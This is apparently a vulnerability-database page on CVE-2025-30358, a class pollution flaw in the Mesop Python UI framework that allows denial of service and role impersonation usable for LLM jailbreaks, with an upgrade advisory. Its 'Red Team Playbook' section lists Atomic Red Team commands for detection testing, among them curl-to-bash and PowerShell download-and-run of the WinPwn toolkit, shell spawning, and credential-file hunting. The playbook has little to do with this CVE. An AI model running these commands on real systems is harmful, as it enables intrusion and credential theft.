CVE-2025-30358
Overview
This vulnerability is a class pollution flaw affecting the Mesop Python-based UI framework prior to version 0.14.1. It arises from improper handling of global variables and class attributes within certain Mesop modules, allowing runtime overwriting of these shared objects. The flaw specifically targets the internal object model of Mesop, enabling malicious manipulation of prototype-like structures analogous to JavaScript prototype pollution.
Vulnerability Description
Mesop is a Python-based UI framework that allows users to build web applications. A class pollution vulnerability in Mesop prior to version 0.14.1 allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs). Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequences like remote code execution when gadgets are available. Users should upgrade to version 0.14.1 to obtain a fix for the issue.
Impact
An attacker with at least limited privileges (PR:L) and network access (AV:N) can exploit this vulnerability without user interaction (UI:N) to cause denial of service by corrupting global state. Additionally, attackers may impersonate system or assistant roles within conversations, facilitating jailbreak attacks against integrated large language models. The integrity (I:H) and availability (A:H) of the application are severely affected, potentially leading to remote code execution if suitable gadgets exist within the application environment.
Solution
Users of Mesop should upgrade to version 0.14.1 or later, as this release contains the fix for the class pollution vulnerability. Detailed remediation steps and patch information are available in the Mesop GitHub security advisory GHSA-f3mf-hm6v-jfhh and the corresponding commit 748e20d4a363d89b841d62213f5b0c6b4bed788f. No alternative workarounds are documented; applying the official patch is required to address the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The class pollution vulnerability in the Mesop Python-based UI framework represents a significant threat to the integrity and security of web applications built using this technology. This vulnerability allows attackers to overwrite global variables and class attributes within certain Mesop modules during runtime. By exploiting this flaw, an attacker can manipulate the application's behavior, potentially leading to a denial of service (DoS) condition. The root cause lies in the framework's handling of class definitions and global variables, which can be altered by malicious actors, undermining the intended functionality of the application.
Exploitation of this vulnerability can occur through various attack vectors. For instance, an attacker could craft a specially designed input that triggers the class pollution, allowing them to modify the application's runtime environment. This manipulation could lead to identity confusion, where the attacker impersonates legitimate roles within the application, such as an assistant or system administrator. Such impersonation not only compromises the integrity of user interactions but also opens the door to more sophisticated attacks, including jailbreak attacks against large language models (LLMs). By controlling the flow of data and execution within the application, attackers could potentially escalate their privileges or execute arbitrary code, particularly if the application is not adequately sandboxed.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on Mesop for their web applications. A successful exploitation could result in service outages, leading to significant downtime and loss of revenue. Furthermore, the potential for identity confusion could damage the trust relationship between users and the application provider, resulting in reputational harm. In sectors where data integrity and user trust are paramount, such as finance or healthcare, the consequences could extend to regulatory penalties and legal liabilities. The risk of remote code execution, while contingent on the availability of specific conditions, underscores the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including code reviews and penetration testing, can help identify instances of class pollution and other related vulnerabilities. Additionally, monitoring application logs for unusual behavior or unauthorized changes to global variables can serve as an early warning system for potential exploitation attempts. The most effective mitigation strategy, however, is to upgrade to the latest version of the Mesop framework, which addresses the class pollution issue. Organizations should prioritize patch management and ensure that all dependencies are kept up to date to minimize their exposure to known vulnerabilities.
In conclusion, the class pollution vulnerability in the Mesop framework poses a significant threat to the security and functionality of web applications. With the potential for denial of service, identity confusion, and even remote code execution, the implications for businesses are severe. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar threats. Upgrading to the latest version of the framework is a critical step in safeguarding applications and maintaining user trust in an increasingly complex threat landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-30358 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/mesop-dev/mesop/security/advisories/GHSA-f3mf-hm6v-jfhh |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/mesop-dev/mesop/commit/748e20d4a363d89b841d62213f5b0c6b4bed788f |